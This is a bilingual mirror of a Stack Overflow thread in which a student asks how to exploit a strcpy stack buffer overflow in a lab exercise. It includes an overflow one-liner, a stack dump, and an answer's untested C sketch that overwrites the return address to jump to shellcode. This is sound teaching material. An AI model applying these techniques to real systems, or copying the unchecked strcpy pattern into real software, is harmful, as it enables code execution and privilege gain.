C语言 使用缓冲区溢出执行shell代码
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/16325486/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Using buffer overflow to execute shell code
提问by Syntactic Fructose
I've been learning computer security lately and come across a couple problems, and i'm having some trouble with this one in particular.
我最近一直在学习计算机安全,遇到了一些问题,尤其是我在这个问题上遇到了一些麻烦。
I'm given a function with a fixed buffer I need to overflow in order to execute shellcode in the file shellcode. The function is quite simple:
我得到了一个带有固定缓冲区的函数,我需要溢出才能在文件shellcode 中执行shellcode。函数很简单:
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value. I am pretty sureI need to manipulate the return address, so currently what i'm calling is:
我最初的猜测是修改函数的返回地址eip以便定位和执行 shellcode 文件中的内容,但我意识到我没有可以用十六进制值表示的文件地址。我很确定我需要操纵返回地址,所以目前我正在调用的是:
//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")
my output is:
我的输出是:
Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault
the python script simply prints 72 letter A's to overflow the buffer to the point of the edpand eip, after I replace the edp's address with the additional address and arrive at the return address, ready to manipulate it. Any help is really appreciated, thanks!
在我用附加地址替换 edp 的地址并到达返回地址后,python 脚本仅打印 72 个字母 A 以将缓冲区溢出到edp和eip的点,准备操作它。任何帮助都非常感谢,谢谢!
回答by phoeagon
Well, I think maybe this is a like a Buffer Overflow Lab in Computer Systems: A Programmer's Perspective. First, use objdumpto get the static address. Second, run it with gdbto find out the address of the stack. Then, fill the buffer with such a string that overwrites the return address to the buffer (so that you can put exploit code, alternatively, you could invoke other code in the program).
好吧,我想这可能就像计算机系统中的缓冲区溢出实验室:程序员的观点。首先,使用objdump获取静态地址。其次,运行它gdb以找出堆栈的地址。然后,用这样的字符串填充缓冲区,以覆盖缓冲区的返回地址(以便您可以放置漏洞利用代码,或者,您可以调用程序中的其他代码)。
Check out this pdfwhich serves as a guide to this lab. It could provide you with some insights.
查看此pdf,该pdf可作为本实验室的指南。它可以为您提供一些见解。
As is pointed out, lots of compile time flags are needed to achieve this. ( I would check out which and come back soon ). Alternatively, thispost provides a guide on how to compile such an example.
正如所指出的,需要大量的编译时标志来实现这一点。(我会检查哪个并很快回来)。或者,这篇文章提供了有关如何编译此类示例的指南。
回答by Paul Irofti
My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value.
我最初的猜测是修改函数的返回地址 eip,以便定位和执行 shellcode 文件中的内容,但我意识到我没有可以用十六进制值表示的文件地址。
You want to modify the RET address so that when the function ends it doesn't return to its caller but to the beginning of your shellcode.
你想修改 RET 地址,这样当函数结束时它不会返回到它的调用者,而是返回到你的 shellcode 的开头。
((As a brief overview of what a shellcode is, it's a set of assembly instructions (so heavily dependent on the platform you execute the vulnerable process) that execute a shell (usually a root shell) thus dropping you off in a nice environment that you can exploit.))
((作为对 shellcode 的简要概述,它是一组汇编指令(在很大程度上依赖于执行易受攻击的进程的平台)执行 shell(通常是 root shell),从而使您进入一个良好的环境你可以利用。))
Now back, what you want is to point the RET at the first assembly instruction in your shellcode. The weird bit is that you have it in a separate file. Is that required?
现在回来,您想要的是将 RET 指向 shellcode 中的第一条汇编指令。奇怪的是你把它放在一个单独的文件中。这是必须的吗?
How it's usually done is that you have something like this:
通常的做法是你有这样的事情:
char shellcode[] = "\x90\x90\x90...";
int main()
{
/*
* huge string (like your 72 A's) that appends the address of the
* shellcode at the right address (in your case I think it's 64 + 4)
*/
char evilstring[100];
/* Fill the buf and the EBP with A's */
for (int i = 0; i < 64 + 4; i++) {
evilstring[i] = 'A';
}
/* And the RET with the address of your shellcode */
sprintf(&evilstring[68], "%p", &shellcode[0]);
vuln(evilstring);
/* you should have a shell now */
/* NOTREACHED */
return 0;
}
So now, when your function returns, it returns at the address of the shellcode[] string and it continues executing instructions from there. Which is what you want. Because those instructions give you the root shell (or whatever it is that your shellcode does).
所以现在,当你的函数返回时,它返回到 shellcode[] 字符串的地址,并从那里继续执行指令。这就是你想要的。因为这些指令为您提供了 root shell(或您的 shellcode 所做的任何事情)。
Please note that the above is just example code, it's not even compile tested.
请注意,以上只是示例代码,甚至没有经过编译测试。
If I didn't understand your problem or if I didn't explain well enough, please feel free to ask.
如果我不明白你的问题,或者我没有解释得足够好,请随时提问。
回答by BufferOverflowFan
char buff[20];
unsigned int pass = 0;
when 'buff' get overflown, the extra input turn the 'pass' into bigger than 0, make it a 'true' value.
当“buff”溢出时,额外的输入将“pass”变为大于 0,使其成为“true”值。
回答by Stolas
It's not hard when you know where too look, like said before open the app w/ gdb. r(un) it. Then i(nfo) r(egisters) to see why it crashed. disassemble is very useful aswell.
就像在打开带有 gdb 的应用程序之前所说的那样,当您知道在哪里查看时,这并不难。运行。然后 i(nfo) r(egisters) 看看它为什么崩溃。拆卸也是非常有用的。
Also, (I assume you know this):
另外,(我假设你知道这一点):
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
is actually
实际上是
void vuln(char *str) {
void *return;
char buf[64];
/* Set Return value and store stack */
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
/* restore stack and jmp to return value. */
}

